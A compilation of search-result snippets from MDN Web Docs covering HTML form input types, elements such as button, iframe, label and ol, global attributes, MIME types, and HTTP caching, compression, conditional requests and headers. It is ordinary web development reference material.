...le" id="imagefile" accept="image/*" multiple> </p> note the last example allows you to select multiple iamges. see the multiple attribute for more information. unique file type specifiers a unique file type specifier is a string that describes a type of file that may be selected by the user in an <input> element of type file. each unique file type specifier may take one of the following forms: a valid case-insensitive filename extension, starting with a period (".") character. for example: .jpg, .pdf, or .doc. a valid mime type string, with no extensions. the string audio/* meaning "any audio file". the string video/* meaning "any video file". the string image/* meaning "any image file". the accept attribute takes as its value a string containing one or more of these unique f...
...allowed file extensions or mime types. some examples: accept="image/png" or accept=".png" — accepts png files. accept="image/png, image/jpeg" or accept=".png, .jpg, .jpeg" — accept png or jpeg files. accept="image/*" — accept any file with an image/* mime type. (many mobile devices also let the user take a picture with the camera when this is used.) accept=".doc,.docx,.xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document" — accept anything that smells like an ms word document. let's look at a more complete example: <form method="post" enctype="multipart/form-data"> <div> <label for="profile_pic">choose file to upload</label> <input type="file" id="profile_pic" name="profile_pic" accept=".jpg, .jpeg, .png"> </div...
The HTML autocomplete attribute - HTML: Hypertext Markup Language
a person's full name. using "name" rather than breaking the name down into its components is generally preferred because it avoids dealing with the wide diversity of human names and how they are structured; however, you can use the following autocomplete values if you do need to break the name down into its components: "honorific-prefix" the prefix or title, such as "mrs.", "mr.", "miss", "ms.", "dr.", or "mlle.". "given-name" the given (or "first") name. "additional-name" the middle name. "family-name" the family (or "last") name. "honorific-suffix" the suffix, such as "jr.", "b.sc.", "phd.", "mbasw", or "iv". "nickname" a nickname or handle. "email" an email address. "username" a username or account name. "new-password" a new password. when creating a n...
...is works even when the autocomplete attribute would normally not apply by virtue of its type. see bug 654072. examples <div> <label for="cc-number">enter your credit card number</label> <input name="cc-number" id="cc-number" autocomplete="off"> </div> administrative levels in addresses the four administrative level fields (address-level1 through address-level4) describe the address in terms of increasing levels of precision within the country in which the address is located. each country has its own system of administrative levels, and may arrange the levels in different orders when addresses are written. address-level1 always represents the broadest administrative division; it is the least-specific portion of the address short of the country name. form layout flexibility given t...
...fic portion of the address is the state, in this case "ca" (the official us postal service shorthand for "california"). thus address-level1 is the state, or "ca" in this case. the second-least specific portion of the address is the city or town name, so address-level2 is "exampleville" in this example address. united states addresses do not use levels 3 and up. united kingdom address input forms in the uk should contain one address level and one, two or three address lines, depending on the address. a complete address would look like so: 103 frogmarch street upper-wapping winchelsea tn99 8zz the address levels are: address-level1: the post town — "winchelsea" in this case. address-line2: the locality — "upper-wapping" in this case. address-line1: the house/street particular...
...z the address levels are: address-level1: the post town — "winchelsea" in this case. address-line2: the locality — "upper-wapping" in this case. address-line1: the house/street particulars — "103 frogmarch street" the postcode is separate. note that you can actually use just the postcode and address-line1 to sucessfully deliver mail in the uk, so they should be the only mandatory items, but usually people tend to provide more details. china china can use as many as three administrative levels: the province, the city, and the district. japan an address in japan is typically written in one line, in an order from the least-specific to more-specific portions (in reverse order to the united states). there are two or three administrative levels in an address. additional line can ...
<button>: The Button element - HTML: Hypertext Markup Language
Web › HTML › Element › button
by default, html buttons are presented in a style resembling the platform the user agent runs on, but you can change buttons’ appearance with css. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, interactive content, listed, labelable, and submittable form-associated element, palpable content. ...
...e values: post: the data from the form are included in the body of the http request when sent to the server. use when the form contains information that shouldn’t be public, like login credentials. get: the form data are appended to the form's action url, with a ? as a separator, and the resulting url is sent to the server. use this method when the form has no side effects, like search forms. if specified, this attribute overrides the method attribute of the button's form owner. formnovalidate html5 if the button is a submit button, this boolean attribute specifies that the form is not to be validated when it is submitted. if this attribute is specified, it overrides the novalidate attribute of the button's form owner. this attribute is also available on <input type="image">...
...t type="reset">. (this behavior tends to annoy users.) button: the button has no default behavior, and does nothing when pressed by default. it can have client-side scripts listen to the element's events, which are triggered when the events occur. value defines the value associated with the button’s name when it’s submitted with the form data. this value is passed to the server in params when the form is submitted. notes a submit button with the attribute formaction set, but without an associated form does nothing. you have to set a form owner, either by wrapping it in a <form> or set the attribute form to the id of the form. <button> elements are much easier to style than <input> elements. you can add inner html content (think <i>, <br>, or even <img>), and use ::after and :...
...accessible name? | the paciello group mdn understanding wcag, guideline 4.1 explanations understanding success criterion 4.1.2 | w3c understanding wcag 2.0 size and proximity size interactive elements such as buttons should provide an area large enough that it is easy to activate them. this helps a variety of people, including people with motor control issues and people using non-precise forms of input such as a stylus or fingers. a minimum interactive size of 44×44 css pixels is recommended. understanding success criterion 2.5.5: target size | w3c understanding wcag 2.1 target size and 2.5.5 | adrian roselli quick test: large touch targets - the a11y project proximity large amounts of interactive content — including buttons — placed in close visual proximity to each other...
<i>: The Idiomatic Text element - HTML: Hypertext Markup Language
Web › HTML › Element › i
historically, these have been presented using italicized type, which is the original source of the <i> naming of this element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. ...
...for text that is set off from the normal prose for readability reasons. this would be a range of text with different semantic meaning than the surrounding text. ...
...ning than the surrounding text. ...
...this is no longer true, as these tags now define semantics rather than typographic appea...
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
Web › HTML › Element › iframe
lled the parent browsing context. the topmost browsing context — the one with no parent — is usually the browser window, represented by the window object. because each browsing context is a complete document environment, every <iframe> in a page requires increased memory and other computing resources. while theoretically you can use as many <iframe>s as you like, check for performance problems. content categories flow content, phrasing content, embedded content, interactive content, palpable content. permitted content none. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts embedded content. implicit aria role no corresponding role permitted aria roles ap...
...g role permitted aria roles application, document, img, none, presentation dom interface htmliframeelement attributes this element includes the global attributes. allow specifies a feature policy for the <iframe>. see the article privacy, permissions, and information security for details on security issues and how <iframe> works with feature policy to keep systems safe. allowfullscreen set to true if the <iframe> can activate fullscreen mode by calling the requestfullscreen() method. this attribute is considered a legacy attribute and redefined as allow="fullscreen". allowpaymentrequest set to true if a cross-origin <iframe> should be allowed to invoke the payment request api. this attribute is considered a legacy attribute and redefined as all...
...sandbox applies extra restrictions to the content in the frame. the value of the attribute can either be empty to apply all restrictions, or space-separated tokens to lift particular restrictions: allow-downloads-without-user-activation : allows for downloads to occur without a gesture from the user. allow-downloads : allows for downloads to occur with a gesture from the user. allow-forms: allows the resource to submit forms. if this keyword is not used, form submission is blocked. allow-modals: lets the resource open modal windows. allow-orientation-lock: lets the resource lock the screen orientation. allow-pointer-lock: lets the resource use the pointer lock api. allow-popups: allows popups (such as window.open(), target="_blank", or showmodaldialog()). if this keyword i...
...boxing is useless if the attacker can display content outside a sandboxed iframe — such as if the viewer opens the frame in a new tab. such content should be also served from a separate origin to limit potential damage. the sandbox attribute is unsupported in internet explorer 9 and earlier. src the url of the page to embed. use a value of about:blank to embed an empty page that conforms to the same-origin policy. also note that programatically removing an <iframe>'s src attribute (e.g. via element.removeattribute()) causes about:blank to be loaded in the frame in firefox (from version 65), chromium-based browsers, and safari/ios. srcdoc inline html to embed, overriding the src attribute. if a browser does not support the srcdoc attribute, it will fall back to the url in the sr...
<input type="date"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › date
ui generally varies from browser to browser; see browser compatibility for further details. in unsupported browsers, the control degrades gracefully to <input type="text">. among browsers with custom interfaces for selecting dates are chrome and opera, whose data control looks like so: the edge date control looks like: and the firefox date control looks like this: value a domstring representing a date in yyyy-mm-dd format, or empty events change and input supported common attributes autocomplete, list, readonly, and step idl attributes list, value, valueasdate, valueasnumber. methods select(), stepdown(), stepup() value a domstring representing the date entered in the input. the date is formatted according to iso8...
...example. we make use of the :valid and :invalid pseudo-elements to add an icon next to the input, based on whether or not the current value is valid. we had to put the icon on a <span> next to the input, not on the input itself, because in chrome at least the input's generated content is placed inside the form control, and can't be styled or shown effectively. label { display: flex; align-items: center; } span::after { padding-left: 5px; } input:invalid + span::after { content: '✖'; } input:valid+span::after { content: '✓'; } important: client-side form validation is no substitute for validating on the server. it's easy for someone to modify the html, or bypass your html entirely and submit the data directly to your server. if your server fails to validate the received da...
...s to validate the received data, disaster could strike with data that is badly-formatted, too large, of the wrong type, etc. handling browser support as mentioned, the major problem with date inputs at the time of writing is browser support. as an example, the date picker on firefox for android looks like this: unsupporting browsers gracefully degrade to a text input, but this creates problems in consistency of user interface (the presented controls are different) and data handling. the second problem is the more serious one; with date input supported, the value is normalized to the format yyyy-mm-dd. but with a text input, the browser has no recognition of what format the date should be in, and there are many different formats in which people write dates. for example: ddmmyyyy dd...
...#-##-## (where # is a digit from 0 to 9). of course, this doesn't stop people from entering invalid dates, or incorrect formats. so we still have a problem. span { position: relative; } span::after { right: -18px; position: absolute; } input:invalid + span::after { content: '✖'; } input:valid + span::after { content: '✓'; } at the moment, the best way to deal with dates in forms in a cross-browser way is to have the user enter the day, month, and year in separate controls, or to use a javascript library such as jquery date picker. examples in this example, we create 2 sets of ui elements for choosing dates: a native <input type="date"> picker and a set of 3 <select> elements for older browsers that don't support the native date input. html the html looks like so: ...
<input type="email"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › email
roperly-formatted e-mail address (or list of addresses) before the form can be submitted. the :valid and :invalid css pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid e-mail address or not. on browsers that don't support inputs of type email, a email input falls back to being a standard text input. ...
...more specifically, there are three possible value formats that will pass validation: an empty string ("") indicating that the user did not enter a value or that the value was removed. a single properly-formed e-mail address. ...
...h is automatically validated as conforming to e-mail syntax. more specifically, there are three possible value formats that will pass validation: an empty string ("") indicating that the user did not enter a value or that the value was removed. a single properly-formed e-mail address. this doesn't necessarily mean the e-mail address exists, but it is at least formatted correctly. in simple terms, this means username@domain or username@domain.tld. there's more to it than that, of course; see validation for a regular expression that matches the e-mail address validation algorithm. if and only if the multiple attribute is specified, the value can be a list of properly-formed comma-separated e-mail addresses. any trailing and leading whitespace is removed from each address in the list. se...
...racters, depending on the characters and the font (font settings in use). this does not set a limit on how many characters the user can enter into the field. it only specifies approximately how many can be seen at a time. to set an upper limit on the length of the input data, use the maxlength attribute. using email inputs e-mail addresses are among the most frequently-inputted textual data forms on the web; they're used when logging into web sites, when requesting information, to allow order confirmation, for webmail, and so forth. as such, the email input type can make your job as a web developer much easier since it can help simplify your work when building the user interface and logic for e-mail addresses. when you create an email input with the proper type value, email, you get autom...
<input type="month"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › month
e automatic validation of the entered text to ensure it's formatted as expected. for those of you using a browser that doesn't support month, the screenshot below shows what it looks like in chrome and opera. clicking the down arrow on the right hand side brings up a date picker that lets you select the month and year. ...
... date picker that lets you select the month and year. the microsoft edge month control looks like this: value a domstring representing a month and year, or empty. events change and input supported common attributes autocomplete, list, readonly, and step. idl attributes value methods select(), stepdown(), stepup(). value a domstring representing the value of the month and year entered into the input, in the form yyyy-mm (four or more digit year, then a hyphen ("-"), followed by the two-digit month). the format of the month string used by this input type is described in format of a valid local month string in date and time formats used in html. you can set a default value for the input control by including a month and y...
...owser support as mentioned above, the major problem with using date inputs at the time of writing is that many major browsers don't yet implement them all; only chrome/opera and edge support it on desktop, and most modern browsers on mobile. as an example, the month picker on chrome for android looks like this: non-supporting browsers gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling. the second problem is the more serious of the two. as mentioned earlier, with a month input the actual value is always normalized to the format yyyy-mm. on the other hand, in its default configuration, a text input has no idea what format the date should be in, and this is an issue becaus...
...ats is expected. we have work left to do. div { margin-bottom: 10px; position: relative; } input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; } the best way to deal with dates in forms in a cross-browser way (until all of the major browsers have supported them for a while) is to get the user to enter the month and year in separate controls (<select> elements being popular; see below for an implementation), or use javascript libraries such as the jquery date picker plugin. examples in this example, we create two sets of ui elements, each designed to let the user select a month...
<input type="time"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › time
o uses a 12- or 24-hour format for inputting times, based on system locale. an "x" button is provided to clear the control's value. 12-hour 24-hour edge the edge time control is somewhat more elaborate, opening up an hour and minute picker with sliding reels. it, like chrome, uses a 12- or 24-hour format for inputting times, based on system locale: 12-hour 24-hour value a domstring representing a time, or empty. events change and input supported common attributes autocomplete, list, readonly, and step idl attributes value, valueasdate, valueasnumber, and list. methods select(), stepdown(), and stepup(). value a domstring containing the value of the time entered into the input. you can set a default value for the ...
...seconds value by two seconds, but doesn't affect the hours or minutes. minutes (or hours) can only be used for stepping when you specify a number of minutes (or hours) in seconds, such as 120 for 2 minutes, or 7200 for 2 hours). in firefox, there are no arrows, so the step value isn't used. however, providing it does add the seconds input area adjacent to the minutes section. the steps value seems to have no effect in edge. using step seems to cause validation to not work properly (as seen in the next section). validation by default, <input type="time"> does not apply any validation to entered values, other than the user agent's interface generally not allowing you to enter anything other than a time value. this is helpful (assuming the time input is fully supported by the user agent)...
... if your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, of the wrong type, and so forth). handling browser support as mentioned above, safari and a few other, less common, browsers don't yet support time inputs natively. in general, otherwise, support is good — especially on mobile platforms, which tend to have very nice user interfaces for specifying a time value. for example, the time picker on chrome for android looks like this: browsers that don't support time inputs gracefully degrade to a text input, but this creates problems both in terms of consistency of user interface (the presented control will be different), and data handling. the second problem is the more serious; a...
...hat format the time is expected to be in. div { margin-bottom: 10px; position: relative; } input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid+span:after { position: absolute; content: '✖'; padding-left: 5px; } input:valid+span:after { position: absolute; content: '✓'; padding-left: 5px; } the best way to deal with times in forms in a cross-browser way, for the time being, is to get the user to enter the hours and minutes (and seconds if required) in separate controls (<select> elements are popular; see below for an example), or use javascript libraries such as the jquery timepicker plugin. examples in this example, we create two sets of interface elements for choosing times: a native picker created with <input type="ti...
<label> - HTML: Hypertext Markup Language
Web › HTML › Element › label
"></label> using the "for" attribute <label for="username">click me</label> <input type="text" id="username"> accessibility concerns interactive content don't place interactive elements such as anchors or buttons inside a label. doing so makes it difficult for people to activate the form input associated with the label. ...
...or="username">click me</label> <input type="text" id="username"> accessibility concerns interactive content don't place interactive elements such as anchors or buttons inside a label. doing so makes it difficult for people to activate the form input associated with the label. ...
...el> <input type="text" id="username"> accessibility concerns interactive content don't place interactive elements such as anchors or buttons inside a label. doing so makes it difficult for people to activate the form input associated with the label. ...
...interactive elements such as anchors or buttons inside a label. doing so makes it difficult for people to activate the form input associated with the label. don't <label for="tac"> <input id="tac" type="checkbox" name="terms-and-conditions"> i agree to the <a href="terms-and-conditions.html">terms and conditions</a> </label> do <label for="tac"> <input id="tac" type="checkbox" name="terms-and-conditions"> i agree to the terms and conditions </label> <p> <a href="terms-and-conditions.html">read our terms and conditions</a> </p> headings placing heading elements within a <label> interferes with many kinds of assistive technology, because headings are commonly used as a navigation aid. if the label's text needs to be adjusted visually, use css classes applied to the <label> el...
<ol>: The Ordered List element - HTML: Hypertext Markup Language
Web › HTML › Element › ol
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, and if the <ol> element's children include at least one <li> element, palpable content. permitted content zero or more <li>, <script> and <template> elements. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. ...
...itted parents any element that accepts flow content. implicit aria role list permitted aria roles directory, group, listbox, menu, menubar, none, presentation, radiogroup, tablist, toolbar, tree dom interface htmlolistelement attributes this element also accepts the global attributes. reversed this boolean attribute specifies that the list’s items are in reverse order. items will be numbered from high to low. start an integer to start counting from for the list items. always an arabic numeral (1, 2, 3, etc.), even when the numbering type is letters or roman numerals. for example, to start numbering elements from the letter "d" or the roman numeral "iv," use start="4". type sets the numbering type: a for lowercase letters a for up...
...". type sets the numbering type: a for lowercase letters a for uppercase letters i for lowercase roman numerals i for uppercase roman numerals 1 for numbers (default) the specified type is used for the entire list unless a different type attribute is used on an enclosed <li> element. note: unless the type of the list number matters (like legal or technical documents where items are referenced by their number/letter), use the css list-style-type property instead. usage notes typically, ordered list items display with a preceding marker, such as a number or letter. the <ol> and <ul> elements may nest as deeply as desired, alternating between <ol> and <ul> however you like. the <ol> and <ul> elements both represent a list of items. the difference is with the <ol> ...
...desired, alternating between <ol> and <ul> however you like. the <ol> and <ul> elements both represent a list of items. the difference is with the <ol> element, the order is meaningful. for example: steps in a recipe turn-by-turn directions the list of ingredients in decreasing proportion on nutrition information labels to determine which list to use, try changing the order of the list items; if the meaning changes, use the <ol> element — otherwise you can use <ul>. examples simple example <ol> <li>fee</li> <li>fi</li> <li>fo</li> <li>fum</li> </ol> the above html will output: using roman numeral type <ol type="i"> <li>introduction</li> <li>list of greivances</li> <li>conclusion</li> </ol> the above html will output: using the start attribute <p>finishi...
Global attributes - HTML: Hypertext Markup Language
if the element should be editable by the user. if so, the browser modifies its widget to allow editing. the attribute must take one of the following values: true or the empty string, which indicates that the element must be editable; false, which indicates that the element must not be editable. contextmenu the id of a <menu> to use as the contextual menu for this element. data-* forms a class of attributes, called custom data attributes, that allow proprietary information to be exchanged between the html and its dom representation that may be used by scripts. all such custom data are available via the htmlelement interface of the element the attribute is set on. the htmlelement.dataset property gives access to them. dir an enumerated attribute indicating the directionality o...
...g custom elements for more details). note: the item* attributes are part of the whatwg html microdata feature. itemid the unique, global identifier of an item. itemprop used to add properties to an item. every html element may have an itemprop attribute specified, where an itemprop consists of a name and value pair. itemref properties that are not descendants of an element with the itemscope attribute can be associated with the item using an itemref. it provides a list of element ids (not itemids) with additional properties elsewhere in the document. itemscope itemscope (usually) works along with itemtype to specify that the html contained in a block is about a particular item. itemscope creates the item and defines the scope of the itemtype associated with it. itemtype is a va...
... lang helps define the language of an element: the language that non-editable elements are in, or the language that editable elements should be written in by the user. ...
...s comment html living standardthe definition of 'global attributes' in that specification. living standard shadow parts working draft added the part and exportparts global attributes. html 5.2the definition of 'global attributes' in that specification. recommendation snapshot of html living standard. from html 5.1, itemid, itemprop, itemref, itemscope, and itemtype have been added. html 5.1the definition of 'global attributes' in that specification. recommendation snapshot of html living standard. from html5, contextmenu, draggable, dropzone, and spellcheck have been added. html5the definition of 'global attributes' in that specification. recommendation snapshot of html living standard. from html 4.01 specific...
Common MIME types - HTTP
intains a list of all the official mime types. ...
...cation/octet-stream .bmp windows os/2 bitmap graphics image/bmp .bz bzip archive application/x-bzip .bz2 bzip2 archive application/x-bzip2 .csh c-shell script application/x-csh .css cascading style sheets (css) text/css .csv comma-separated values (csv) text/csv .doc microsoft word application/msword .docx microsoft word (openxml) application/vnd.openxmlformats-officedocument.wordprocessingml.document .eot ms embedded opentype fonts application/vnd.ms-fontobject .epub electronic publication (epub) application/epub+zip .gz gzip compressed archive application/gzip .gif graphics interchange format (gif) image/gif ...
... .ogx ogg application/ogg .opus opus audio audio/opus .otf opentype font font/otf .png portable network graphics image/png .pdf adobe portable document format (pdf) application/pdf .php hypertext preprocessor (personal home page) application/x-httpd-php .ppt microsoft powerpoint application/vnd.ms-powerpoint .pptx microsoft powerpoint (openxml) application/vnd.openxmlformats-officedocument.presentationml.presentation .rar rar archive application/vnd.rar .rtf rich text format (rtf) application/rtf .sh bourne shell script application/x-sh .svg scalable vector graphics (svg) image/svg+xml .swf small web for...
... .wav waveform audio format audio/wav .weba webm audio audio/webm .webm webm video video/webm .webp webp image image/webp .woff web open font format (woff) font/woff .woff2 web open font format (woff) font/woff2 .xhtml xhtml application/xhtml+xml .xls microsoft excel application/vnd.ms-excel .xlsx microsoft excel (openxml) application/vnd.openxmlformats-officedocument.spreadsheetml.sheet .xml xml application/xml if not readable from casual users (rfc 3023, section 3) text/xml if readable from casual users (rfc 3023, section 3) .xul xul application/vnd.mozilla.xul+xml .zip zip archive application/zip .3gp ...
HTTP caching - HTTP
Web › HTTP › Caching
twork traffic and latency. targets of caching operations http caching is optional, but reusing a cached resource is usually desirable. however, common http caches are typically limited to caching responses to get and may decline other methods. the primary cache key consists of the request method and target uri (oftentimes only the uri is used as only get requests are caching targets). common forms of caching entries are: successful results of a retrieval request: a 200 (ok) response to a get request containing a resource like html documents, images or files. permanent redirects: a 301 (moved permanently) response. error responses: a 404 (not found) result page. incomplete results: a 206 (partial content) response. responses other than get if something suitable for use as a cache key...
...able for use as a cache key is defined. a cache entry might also consist of multiple stored responses differentiated by a secondary key, if the request is target of content negotiation. for more details see the information about the vary header below. controlling caching the cache-control header the cache-control http/1.1 general-header field is used to specify directives for caching mechanisms in both requests and responses. use this header to define your caching policies with the variety of directives it provides. no caching the cache should not store anything about the client request or server response. a request is sent to the server and a full response is downloaded each and every time. cache-control: no-store cache but revalidate a cache will send the request to the origin s...
... not a reliable replacement for the general http/1.1 cache-control header, although it does behave the same as cache-control: no-cache, if the cache-control header field is omitted in a request. use pragma only for backwards compatibility with http/1.0 clients. freshness once a resource is stored in a cache, it could theoretically be served by the cache forever. caches have finite storage so items are periodically removed from storage. this process is called cache eviction. on the other side, some resources may change on the server so the cache should be updated. as http is a client-server protocol, servers can't contact caches and clients when a resource changes; they have to communicate an expiration time for the resource. before this expiration time, the resource is fresh; after the exp...
...s called cache eviction. on the other side, some resources may change on the server so the cache should be updated. as http is a client-server protocol, servers can't contact caches and clients when a resource changes; they have to communicate an expiration time for the resource. before this expiration time, the resource is fresh; after the expiration time, the resource is stale. eviction algorithms often privilege fresh resources over stale resources. note that a stale resource is not evicted or ignored; when the cache receives a request for a stale resource, it forwards this request with a if-none-match to check if it is in fact still fresh. if so, the server returns a 304 (not modified) header without sending the body of the requested resource, saving some bandwidth. here is an example o...
Compression in HTTP - HTTP
compression is an important way to increase the performance of a web site. for some documents, size reduction of up to 70% lowers the bandwidth capacity needs. over the years, algorithms also got more efficient, and new ones are supported by clients and servers. in practice, web developers don't need to implement compression mechanisms, both browsers and servers have it implemented already, but they have to be sure that the server is configured adequately. compression happens at three different levels: first some file formats are compressed with specific optimized methods, then general encryption can happen at the http level (the resource is transmitted compressed from end to end), and finally compression can be defined at the connection level, between two nodes of an http connection.
... can typically have as much as 60% redundancy, this rate can be much higher for some other media like audio and video. unlike text, these other media types use lot of space to store their data and the need to optimize storage and regain space was apparent very early. engineers designed the optimized compression algorithm used by file formats designed for this specific purpose. compression algorithms used for files can be grouped into two broad categories: loss-less compression, where the compression-uncompression cycle doesn't alter the data that is recovered. it matches (byte to byte) with the original. for images, gif or png are using loss-less compression. lossy compression, where the cycle alters the original data in a (hopefully) imperceptible way for the user. video formats on ...
...ality. for better performance of a web site, it is ideal to compress as much as possible, while keeping an acceptable level of quality. for images, an image generated by a tool could be not optimized enough for the web; it is recommended to use tools that will compress as much as possible with the required quality. there are numerous tools that are specialized for this. lossy compression algorithms are usually more efficient than loss-less ones. as compression works better on a specific kind of files, it usually provides nothing to compress them a second time. in fact, this is often counter productive as the cost of the overhead (algorithms usually need a dictionary that add to the initial size) can be higher than the extra gain in compression resulting in a larger file. do not use the tw...
...is done by the server and will last unchanged until it reaches the client. whatever the intermediate nodes are, they leave the body untouched. all modern browsers and servers do support it and the only thing to negotiate is the compression algorithm to use. these algorithm are optimized for text. in the 1990s, compression technology was advancing at a rapid pace and numerous successive algorithms have been added to the set of possible choices. nowadays, only two are relevant: gzip, the most common one, and br the new challenger. to select the algorithm to use, browsers and servers use proactive content negotiation. the browser sends an accept-encoding header with the algorithm it supports and its order of precedence, the server picks one, uses it to compress the body of the response and ...
HTTP conditional requests - HTTP
it involves knowing the importance of the different elements of a page, but is very useful towards optimizing cache performance. conditional headers several http headers, called conditional headers, lead to conditional requests. these are: if-match succeeds if the etag of the distant resource is equal to one listed in this header. by default, unless the etag is prefixed with 'w/', it performs a strong validation. if-none-match succeeds if the etag of the distant resource is different to each listed in this header. by default, unless the etag is prefixed with 'w/', it performs a strong validation. if-modified-since succeeds if the last-modified date of the distant resource is more recent than the one given in this header. if-unmodified-since succeeds if the last-modified date of ...
... can be used in the condition. rarely is such additional flexibility needed. avoiding the lost update problem with optimistic locking a common operation in web applications is to update a remote document. this is very common in any file system or source control applications, but any application that allows to store remote resources needs such a mechanism. common web sites, like wikis and other cms, have such a need. with the put method you are able to implement this. the client first reads the original files, modifies them, and finally pushes them to the server: unfortunately, things get a little inaccurate as soon as we take into account concurrency. while a client is locally modifying its new copy of the resource, a second client can fetch the same resource and do the same on its cop...
...ifficult to detect and to debug: there is no way to deal with this problem without annoying one of the two clients. however, lost updates and race conditions are to be avoided. we want predictable results, and expect that the clients are notified when their changes are rejected. conditional requests allow implementing the optimistic locking algorithm (used by most wikis or source control systems). the concept is to allow all clients to get copies of the resource, then let them modify it locally, controlling concurrency by successfully allowing the first client submitting an update. all subsequent updates, based on the now obsolete version of the resource, are rejected: this is implemented using the if-match or if-unmodified-since headers. if the etag doesn't match the original file, o...
...o check this. conclusion conditional requests are a key feature of http, and allow the building of efficient and complex applications. for caching or resuming downloads, the only work required for webmasters is to configure the server correctly; setting correct etags in some environments can be tricky. once achieved, the browser will serve the expected conditional requests. for locking mechanisms, it is the opposite: web developers need to issue a request with the proper headers, while webmasters can mostly rely on the application to carry out the checks for them. in both cases it's clear, conditional requests are a fundamental feature behind the web. ...
Accept-Encoding - HTTP
the accept-encoding request http header advertises which content encoding, usually a compression algorithm, the client is able to understand. using content negotiation, the server selects one of the proposals, uses it and informs the client of its choice with the content-encoding response header. even if both the client and the server supports the same compression algorithms, the server may choose not to compress the body of a response, if the identity value is also acceptable. two common cases lead to this: the data to be sent is already compressed and a second compression won't lead to smaller data to be transmitted. this may be the case with some image formats; the server is overloaded and cannot afford the computational overhead induced by the compression requirement. typically, mi...
...t explicitly forbidden, by an identity;q=0 or a *;q=0 without another explicitly set value for identity, the server must never send back a 406 not acceptable error. notes: an iana registry maintains a complete list of official content encodings. two others content encoding, bzip and bzip2, are sometimes used, though not standard. they implement the algorithm used by these two unix programs. ...
...citly set value for identity, the server must never send back a 406 not acceptable error. notes: an iana registry maintains a complete list of official content encodings. two others content encoding, bzip and bzip2, are sometimes used, though not standard. they implement the algorithm used by these two unix programs. note that the first one was discontinued due to patent licensing problems. ...
... compress a compression format using the lempel-ziv-welch (lzw) algorithm. ...
Want-Digest - HTTP
the want-digest http header is primarily used in a http request, to ask the responder to provide a digest of the requested resource using the digest response header. the header contains identifiers for one or more digest algorithms that the sender wishes the responder to use to create the digest. the sender may use quality values to indicate its preference ordering among the choices it offers. if want-digest does not include any digest algorithms that the server supports, the server may respond with: a digest calculated using a different digest algorithm, or a 400 bad request error, and include another want-digest header with that response, listing the algorithms that it does support. see the page for the digest header for more information. header type general header ...
...th: a digest calculated using a different digest algorithm, or a 400 bad request error, and include another want-digest header with that response, listing the algorithms that it does support. see the page for the digest header for more information. ...
... that it does support. see the page for the digest header for more information. header type general header forbidden header name no syntax want-digest: <digest-algorithm> // multiple algorithms, weighted with the quality value syntax: want-digest: <digest-algorithm><q-value>,<digest-algorithm><q-value> directives <digest-algorithm> supported digest algorithms are defined in rfc 3230 and rfc 5843, and include sha-256 and sha-512. some of the supported algorithms, including unixsum and md5 are subject to collisions and are thus not suitable for applications in which collision-resistance is important. <q-value> the quality value to apply to that option. examples want-digest: sha-256 want-digest: sha-512;q=0.3, sha-256;q=1, md5;q=0 basic operation ...
...t: sha-512;q=0.3, sha-256;q=1, md5;q=0 basic operation the sender provides a list of digests which it is prepared to accept, and the server uses one of them: request: get /item want-digest: sha-256;q=0.3, sha;q=1 response: http/1.1 200 ok digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe= unsupported digests the server does not support any of the requested digest algorithms, so uses a different algorithm: request: get /item want-digest: sha;q=1 response: http/1.1 200 ok digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe= the server does not support any of the requested digest algorithms, so responds with a 400 error and includes another want-digest header, listing the algorithms that it does support: request: get /item want-digest: sha;q=...
HTTP Messages - HTTP
Web › HTTP › Messages
s are composed of textual information encoded in ascii, and span over multiple lines. in http/1.1, and earlier versions of the protocol, these messages were openly sent across the connection. in http/2, the once human-readable message is now divided up into http frames, providing optimization and performance improvements. web developers, or webmasters, rarely craft these textual http messages themselves: software, a web browser, proxy, or web server, perform this action. they provide http messages through config files (for proxies or servers), apis (for browsers), or other interfaces. the http/2 binary framing mechanism has been designed to not require any alteration of the apis or config files applied: it is broadly transparent to the user. http requests, and responses, share similar s...
...to update it: as often the case with post requests (containing html form data). bodies can be broadly divided into two categories: single-resource bodies, consisting of one single file, defined by the two headers: content-type and content-length. multiple-resource bodies, consisting of a multipart body, each containing a different bit of information. this is typically associated with html forms. http responses status line the start line of an http response, called the status line, contains the following information: the protocol version, usually http/1.1. a status code, indicating success or failure of the request. common status codes are 200, 404, or 302 a status text. a brief, purely informational, textual description of the status code to help a human understand the http mes...
...e message to the next one, yet still repeated across connections. no multiplexing can be done. several connections need opening on the same server: and warm tcp connections are more efficient than cold ones. http/2 introduces an extra step: it divides http/1.x messages into frames which are embedded in a stream. data and header frames are separated, this allows header compression. several streams can be combined together, a process called multiplexing, allowing more efficient underlying tcp connections. http frames are now transparent to web developers. this is an additional step in http/2, between http/1.1 messages and the underlying transport protocol. no changes are needed in the apis used by web developers to utilize http frames; when available in both the browser and the server, h...
... ...
An overview of HTTP - HTTP
Web › HTTP › Overview
